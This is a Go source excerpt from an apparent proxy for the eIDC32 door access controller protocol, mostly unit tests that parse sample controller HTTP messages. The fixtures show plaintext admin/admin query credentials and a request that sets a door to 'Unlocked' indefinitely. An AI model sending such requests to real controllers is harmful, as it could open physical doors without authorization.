instead of "0 of 2") 384 | func getNext(current int, outOf int, n nextType) int { 385 | // too few choices? Don't do math, just return the "outOf" size because 386 | // the only possibility is index 0. 387 | if outOf <= 1 { 388 | return 0 389 | } 390 | 391 | // current value out of range negative? Return the first or last possible 392 | // value, depending on whether the caller asked for 'next' or 'previous' 393 | if current < 0 { 394 | switch n { 395 | case next: 396 | return 0 397 | case previous: 398 | return outOf - 1 399 | } 400 | } 401 | 402 | // Starting point can't be less than zero now, but might go negative if the 403 | // caller asks us to decrement (previous). Adding outOf to the initial 404 | // value ensures it won't go negative in that case, and won't affect the 405 | // outcome. 406 | current += outOf 407 | 408 | if n == previous { 409 | return (current - 1) % outOf 410 | } 411 | return (current + 1) % outOf 412 | } 413 | 414 | type paneMgr struct { 415 | pane *tview.Flex 416 | } 417 | 418 | func (o TVDisplay) switchTo(i int) { 419 | o.updateTitle(i) 420 | o.clearDuration() 421 | o.clearDuration = o.duration.runForSession(o.app, o.aggregator.GetSession(i)) 422 | } 423 | -------------------------------------------------------------------------------- /message_common_test.go: -------------------------------------------------------------------------------- 1 | package eidc32proxy 2 | 3 | import ( 4 | "encoding/json" 5 | "log" 6 | "testing" 7 | ) 8 | 9 | func TestNorthboundRequest(t *testing.T) { 10 | testDir := Northbound 11 | testData := 12 | "POST /eidc/connected HTTP/1.1\r\n" + 13 | "Host: production-webhal-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com:18800\r\n" + 14 | "Content-Type: application/json\r\n" + 15 | "Content-Length: 217\r\n" + 16 | "ServerKey: xxxxxxxxxxxxxxxx\r\n\r\n" + 17 | `{"serialNumber":"0x000000123456", "firmwareVersion":"3.4.20", "ipAddress":"172.16.1.10", "macAddress":"00:14:E4:12:34:56", "siteKey":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "configurationKey":"", "cardFormat":"short"}` 18 | 19 | msg, err := ReadMsg([]byte(testData), testDir) 20 | if err != nil { 21 | t.Fatal(err) 22 | } 23 | log.Println("type:", msg.GetType()) 24 | _ = msg 25 | } 26 | 27 | func TestNorthboundGetOutboundResponse(t *testing.T) { 28 | testDir := Northbound 29 | testData := 30 | "HTTP/1.0 200 OK\r\n" + 31 | "Server: eIDC32 WebServer\r\n" + 32 | "Content-type: application/json\r\n" + 33 | "Content-Length: 359\r\n" + 34 | "Cache-Control: no-cache\r\n\r\n" + 35 | `{"result":true, "cmd":"GETOUTBOUND", "body":{"siteKey":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", "primaryHostAddress":"xxxxxxxxxx-xxxxxx-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com", "primaryPort":18800, "secondaryHostAddress":"11.22.33.44", "secondaryPort":18800, "primarySsl":1, "secondarySsl":1, "retryInterval":1, "maxRandomRetryInterval":60, "enabled":1}}` 36 | 37 | msg, err := ReadMsg([]byte(testData), testDir) 38 | if err != nil { 39 | t.Fatal(err) 40 | } 41 | 42 | result := msg.GetType() 43 | expected := MsgTypeGetoutboundResponse 44 | if result != expected { 45 | t.Fatalf("expected %s, got %s", expected, result) 46 | } 47 | } 48 | 49 | func TestNorthboundSetTimeResponse(t *testing.T) { 50 | testDir := Northbound 51 | testData := 52 | "HTTP/1.0 200 OK\r\n" + 53 | "Server: eIDC32 WebServer\r\n" + 54 | "Content-type: application/json\r\n" + 55 | "Content-Length: 32\r\n" + 56 | "Cache-Control: no-cache\r\n\r\n" + 57 | `{"result":true, "cmd":"SETTIME"}` 58 | 59 | msg, err := ReadMsg([]byte(testData), testDir) 60 | if err != nil { 61 | t.Fatal(err) 62 | } 63 | 64 | result := msg.GetType() 65 | expected := MsgTypeSetTimeResponse 66 | if result != expected { 67 | t.Fatalf("expected %s, got %s", expected, result) 68 | } 69 | } 70 | 71 | func TestNorthboundSetWebUserResponse(t *testing.T) { 72 | testDir := Northbound 73 | testData := 74 | "HTTP/1.0 200 OK\r\n" + 75 | "Server: eIDC32 WebServer\r\n" + 76 | "Content-type: application/json\r\n" + 77 | "Content-Length: 35\r\n" + 78 | "Cache-Control: no-cache\r\n\r\n" + 79 | `{"result":true, "cmd":"SETWEBUSER"}` 80 | 81 | msg, err := ReadMsg([]byte(testData), testDir) 82 | if err != nil { 83 | t.Fatal(err) 84 | } 85 | 86 | result := msg.GetType() 87 | expected := MsgTypeSetWebUserResponse 88 | if result != expected { 89 | t.Fatalf("expected %s, got %s", expected, result) 90 | } 91 | } 92 | 93 | func TestNorthboundEnableEventsResponse(t *testing.T) { 94 | testDir := Northbound 95 | testData := 96 | "HTTP/1.0 200 OK\r\n" + 97 | "Server: eIDC32 WebServer\r\n" + 98 | "Content-type: application/json\r\n" + 99 | "Content-Length: 37\r\n" + 100 | "Cache-Control: no-cache\r\n\r\n" + 101 | `{"result":true, "cmd":"ENABLEEVENTS"}` 102 | 103 | msg, err := ReadMsg([]byte(testData), testDir) 104 | if err != nil { 105 | t.Fatal(err) 106 | } 107 | 108 | result := msg.GetType() 109 | expected := MsgTypeEnableEventsResponse 110 | if result != expected { 111 | t.Fatalf("expected %s, got %s", expected, result) 112 | } 113 | } 114 | 115 | func TestNorthboundGetPointStatusResponse(t *testing.T) { 116 | testDir := Northbound 117 | testData := 118 | "HTTP/1.0 200 OK\r\n" + 119 | "Server: eIDC32 WebServer\r\n" + 120 | "Content-type: application/json\r\n" + 121 | "Content-Length: 39\r\n" + 122 | "Cache-Control: no-cache\r\n\r\n" + 123 | `{"result":true, "cmd":"GETPOINTSTATUS"}` 124 | 125 | msg, err := ReadMsg([]byte(testData), testDir) 126 | if err != nil { 127 | t.Fatal(err) 128 | } 129 | 130 | result := msg.GetType() 131 | expected := MsgTypeGetPointStatusResponse 132 | if result != expected { 133 | t.Fatalf("expected %s, got %s", expected, result) 134 | } 135 | } 136 | 137 | func TestNorthboundPointStatusRequest(t *testing.T) { 138 | testDir := Northbound 139 | testData := 140 | "POST /eidc/pointStatus HTTP/1.1\r\n" + 141 | "Host: xxxxxxxxxx-xxxxxx-xxxxxxxxxxxxxxxx.elb.us-east-1.amazonaws.com:18800\r\n" + 142 | "Content-Type: application/json\r\n" + 143 | "Content-Length: 92\r\n" + 144 | "ServerKey: 0123456789abcdef\r\n\r\n" + 145 | `{"time":"2019-11-01T18:50:51-05:00", "points":[{"pointId":7,"oldStatus":0,"newStatus":129}]}` 146 | 147 | msg, err := ReadMsg([]byte(testData), testDir) 148 | if err != nil { 149 | t.Fatal(err) 150 | } 151 | 152 | result := msg.GetType() 153 | expected := MsgTypePointStatusRequest 154 | if result != expected { 155 | t.Fatalf("expected %s, got %s", expected, result) 156 | } 157 | 158 | expectedTime := "2019-11-01T18:50:51-05:00" 159 | expectedPoints := []Point{Point{ 160 | PointID: 7, 161 | OldStatus: 0, 162 | NewStatus: 129, 163 | }} 164 | 165 | ps, err := msg.ParsePointStatusRequest() 166 | if err != nil { 167 | t.Fatal(err) 168 | } 169 | 170 | if expectedTime != ps.Time { 171 | t.Fatalf("time mismatch") 172 | } 173 | 174 | for i := range ps.Points { 175 | if expectedPoints[i] != ps.Points[i] { 176 | t.Fatalf("unexpected point data") 177 | } 178 | } 179 | } 180 | 181 | func TestNorthboundDoor0x2fLockStatusResponse(t *testing.T) { 182 | testDir := Northbound 183 | testData := 184 | "HTTP/1.0 200 OK\r\n" + 185 | "Server: eIDC32 WebServer\r\n" + 186 | "Content-type: application/json\r\n" + 187 | "Content-Length: 70\r\n" + 188 | "Cache-Control: no-cache\r\n\r\n" + 189 | `{"result":true, "cmd":"DOOR/LOCKSTATUS", "body":{"status":"Unlocked"}}` 190 | 191 | msg, err := ReadMsg([]byte(testData), testDir) 192 | if err != nil { 193 | t.Fatal(err) 194 | } 195 | 196 | result := msg.GetType() 197 | expected := MsgTypeDoor0x2fLockStatusResponse 198 | if result != expected { 199 | t.Fatalf("expected %s, got %s", expected, result) 200 | } 201 | } 202 | 203 | func TestNorthboundEventAckResponse(t *testing.T) { 204 | testDir := Northbound 205 | testData := 206 | "HTTP/1.0 200 OK\r\n" + 207 | "Server: eIDC32 WebServer\r\n" + 208 | "Content-type: application/json\r\n" + 209 | "Content-Length: 33\r\n" + 210 | "Cache-Control: no-cache\r\n\r\n" + 211 | `{"result":true, "cmd":"EVENTACK"}` 212 | 213 | msg, err := ReadMsg([]byte(testData), testDir) 214 | if err != nil { 215 | t.Fatal(err) 216 | } 217 | 218 | result := msg.GetType() 219 | expected := MsgTypeEventAckResponse 220 | if result != expected { 221 | t.Fatalf("expected %s, got %s", expected, result) 222 | } 223 | } 224 | 225 | func TestSouthboundConnectedResponse(t *testing.T) { 226 | testDir := Southbound 227 | testData := 228 | "HTTP/1.1 200 OK\r\n" + 229 | "Content-Type: application/json\r\n" + 230 | "Content-Length: 32\r\n\r\n" + 231 | `{"serverKey":"xxxxxxxxxxxxxxxx"}` 232 | 233 | msg, err := ReadMsg([]byte(testData), testDir) 234 | if err != nil { 235 | t.Fatal(err) 236 | } 237 | 238 | result := msg.GetType() 239 | expected := MsgTypeConnectedResponse 240 | if result != expected { 241 | t.Fatalf("expected %s, got %s", expected, result) 242 | } 243 | } 244 | 245 | func TestSouthboundGetoutboundRequest(t *testing.T) { 246 | testDir := Southbound 247 | testData := 248 | "GET /eidc/getoutbound?username=admin&password=admin&seq=1 HTTP/1.1\r\n" + 249 | "Host: 192.168.6.40\r\n" + 250 | "User-Agent: eIDCListener\r\n\r\n\r\n" 251 | 252 | msg, err := ReadMsg([]byte(testData), testDir) 253 | if err != nil { 254 | t.Fatal(err) 255 | } 256 | 257 | result := msg.GetType() 258 | expected := MsgTypeGetoutboundRequest 259 | if result != expected { 260 | t.Fatalf("expected %s, got %s", expected, result) 261 | } 262 | 263 | } 264 | 265 | func TestSouthboundSetTimeRequest(t *testing.T) { 266 | testDir := Southbound 267 | testData := 268 | "POST /eidc/setTime?username=admin&password=admin&seq=2 HTTP/1.1\r\n" + 269 | "Host: 192.168.6.40\r\n" + 270 | "User-Agent: eIDCListener\r\n" + 271 | "Content-Type: application/json\r\n" + 272 | "Content-Length: 210\r\n\r\n" + 273 | `{"time":"2019-11-01T18:50:51-05:00","dstObservance":"observe on","dstStart":{"month":3,"weekInMonth":2,"dayOfWeek":7,"hour":2,"minute":0},"dstEnd":{"month":11,"weekInMonth":1,"dayOfWeek":7,"hour":2,"minute":0}}` 274 | 275 | msg, err := ReadMsg([]byte(testData), testDir) 276 | if err != nil { 277 | t.Fatal(err) 278 | } 279 | 280 | result := msg.GetType() 281 | expected := MsgTypeSetTimeRequest 282 | if result != expected { 283 | t.Fatalf("expected %s, got %s", expected, result) 284 | } 285 | 286 | } 287 | 288 | func TestSouthboundSetWebUserRequest(t *testing.T) { 289 | testDir := Southbound 290 | testData := 291 | "POST /eidc/setwebuser?username=admin&password=admin&seq=3 HTTP/1.1\r\n" + 292 | "Host: 192.168.6.40\r\n" + 293 | "User-Agent: eIDCListener\r\n" + 294 | "Content-Type: application/json\r\n" + 295 | "Content-Length: 40\r\n\r\n" + 296 | `{"Password":"0123456789","User":"admin"}` 297 | 298 | msg, err := ReadMsg([]byte(testData), testDir) 299 | if err != nil { 300 | t.Fatal(err) 301 | } 302 | 303 | result := msg.GetType() 304 | expected := MsgTypeSetWebUserRequest 305 | if result != expected { 306 | t.Fatalf("expected %s, got %s", expected, result) 307 | } 308 | 309 | } 310 | 311 | func TestSouthboundEnableEventsRequest(t *testing.T) { 312 | testDir := Southbound 313 | testData := 314 | "GET /eidc/enableevents?username=admin&password=admin&seq=4 HTTP/1.1\r\n" + 315 | "Host: 192.168.6.40\r\n" + 316 | "User-Agent: eIDCListener\r\n\r\n\r\n" 317 | 318 | msg, err := ReadMsg([]byte(testData), testDir) 319 | if err != nil { 320 | t.Fatal(err) 321 | } 322 | 323 | result := msg.GetType() 324 | expected := MsgTypeEnableEventsRequest 325 | if result != expected { 326 | t.Fatalf("expected %s, got %s", expected, result) 327 | } 328 | 329 | } 330 | 331 | func TestSouthboundGetPointStatusRequest(t *testing.T) { 332 | testDir := Southbound 333 | testData := 334 | "POST /eidc/getPointStatus?username=admin&password=admin&seq=5 HTTP/1.1\r\n" + 335 | "Host: 192.168.6.40\r\n" + 336 | "User-Agent: eIDCListener\r\n" + 337 | "Content-Type: application/json\r\n" + 338 | "Content-Length: 53\r\n\r\n" + 339 | `{"pointIds":[7,8,9,10,11,12,13,14,15,16,17,20,32,37]}` 340 | 341 | msg, err := ReadMsg([]byte(testData), testDir) 342 | if err != nil { 343 | t.Fatal(err) 344 | } 345 | 346 | result := msg.GetType() 347 | expected := MsgTypeGetPointStatusRequest 348 | if result != expected { 349 | t.Fatalf("expected %s, got %s", expected, result) 350 | } 351 | 352 | // todo: add message parsing feature to all similar tests 353 | r, err := msg.ParseGetPointStatusRequest() 354 | if err != nil { 355 | t.Fatal(err) 356 | } 357 | 358 | expectedPoints := []int{7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 20, 32, 37} 359 | var foundPoints []int 360 | for i := range r.PointIds { 361 | foundPoints = append(foundPoints, r.PointIds[i]) 362 | } 363 | 364 | if len(expectedPoints) != len(foundPoints) { 365 | t.Fatal("discrepancy in point slice size") 366 | } 367 | 368 | for i := range expectedPoints { 369 | if expectedPoints[i] != foundPoints[i] { 370 | t.Fatalf("point instance %d mismatch: %d vs %d", i, expectedPoints[i], foundPoints[i]) 371 | } 372 | } 373 | 374 | } 375 | 376 | func TestSouthboundHeartbeatRequest(t *testing.T) { 377 | testDir := Southbound 378 | testData := 379 | "GET /eidc/heartbeat?username=admin&password=admin&seq=9 HTTP/1.1\r\n" + 380 | "Host: 192.168.6.40\r\n" + 381 | "User-Agent: eIDCListener\r\n\r\n\r\n" 382 | 383 | msg, err := ReadMsg([]byte(testData), testDir) 384 | if err != nil { 385 | t.Fatal(err) 386 | } 387 | 388 | result := msg.GetType() 389 | expected := MsgTypeHeartbeatRequest 390 | if result != expected { 391 | t.Fatalf("expected %s, got %s", expected, result) 392 | } 393 | 394 | } 395 | 396 | func TestSouthboundEventAckRequest(t *testing.T) { 397 | testDir := Southbound 398 | testData := 399 | "POST /eidc/eventack?username=admin&password=admin&seq=32 HTTP/1.1\r\n" + 400 | "Host: 192.168.6.40\r\n" + 401 | "User-Agent: eIDCListener\r\n" + 402 | "Content-Type: application/json\r\n" + 403 | "Content-Length: 18\r\n\r\n" + 404 | `{"eventIds":[894]}` 405 | 406 | msg, err := ReadMsg([]byte(testData), testDir) 407 | if err != nil { 408 | t.Fatal(err) 409 | } 410 | 411 | result := msg.GetType() 412 | expected := MsgTypeEventAckRequest 413 | if result != expected { 414 | t.Fatalf("expected %s, got %s", expected, result) 415 | } 416 | 417 | } 418 | 419 | func TestSouthboundDoor0x2fLockStatusRequest(t *testing.T) { 420 | testDir := Southbound 421 | testData := 422 | "POST /eidc/door/lockstatus?username=admin&password=admin&seq=203 HTTP/1.1\r\n" + 423 | "Host: 192.168.6.40\r\n" + 424 | "User-Agent: eIDCListener\r\n" + 425 | "Content-Type: application/json\r\n" + 426 | "Content-Length: 35\r\n\r\n" + 427 | `{"status":"Unlocked","duration":-1}` 428 | 429 | msg, err := ReadMsg([]byte(testData), testDir) 430 | if err != nil { 431 | t.Fatal(err) 432 | } 433 | 434 | result := msg.GetType() 435 | expected := MsgTypeDoor0x2fLockStatusRequest 436 | if result != expected { 437 | t.Fatalf("expected %s, got %s", expected, result) 438 | } 439 | } 440 | 441 | func TestReadMsg(t *testing.T) { 442 | testData := "POST /eidc/connected HTTP/1.1\r\n" + 443 | "Host: 11.22.33.44:18800\r\n" + 444 | "Content-Type: application/json\r\n" + 445 | "Content-Length: 218\r\n" + 446 | "ServerKey: 0123456789abcdef\r\n" + 447 | "\r\n" + 448 | "{\"serialNumber\":\"0x000000012345\", \"firmwareVersion\":\"3.4.20\", \"ipAddress\":\"22.33.44.55\", \"macAddress\":\"00:14:E4:01:23:45\", \"siteKey\":\"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx\", \"configurationKey\":\"\", \"cardFormat\":\"short\"}" 449 | direction := Southbound 450 | msg, err := ReadMsg([]byte(testData), direction) 451 | if err != nil { 452 | t.Fatal(err) 453 | } 454 | if msg.Request == nil { 455 | t.Fatal("msg.Request should not be nil") 456 | } 457 | if msg.Response != nil { 458 | t.Fatal("msg.Response should be nil") 459 | } 460 | if msg.Direction() != direction { 461 | t.Fatal("wrong direction") 462 | } 463 | } 464 | 465 | func TestMessage_ParseEnableEventsResponse(t *testing.T) { 466 | testData := "HTTP/1.0 200 OK\r\n" + 467 | "Server: eIDC32 WebServer\r\n" + 468 | "Content-type: application/json\r\n" + 469 | "Content-Length: 37\r\n" + 470 | "Cache-Control: no-cache\r\n" + 471 | "\r\n" + 472 | "{\"result\":true, \"cmd\":\"ENABLEEVENTS\"}" 473 | msg, err := ReadMsg([]byte(testData), Northbound) 474 | if err != nil { 475 | t.Fatal(err) 476 | } 477 | _ = msg 478 | var result EIDCSimpleResponse 479 | err = json.Unmarshal(msg.Body, &result) 480 | if err != nil { 481 | t.Fatal(err) 482 | } 483 | if result.Result != true { 484 | t.Fatalf("expected 'true', got %t", result.Result) 485 | } 486 | if result.Cmd != "ENABLEEVENTS" { 487 | t.Fatalf("expected 'true', got %s", result.Cmd) 488 | } 489 | } 490 | --------------------------------------------------------------------------------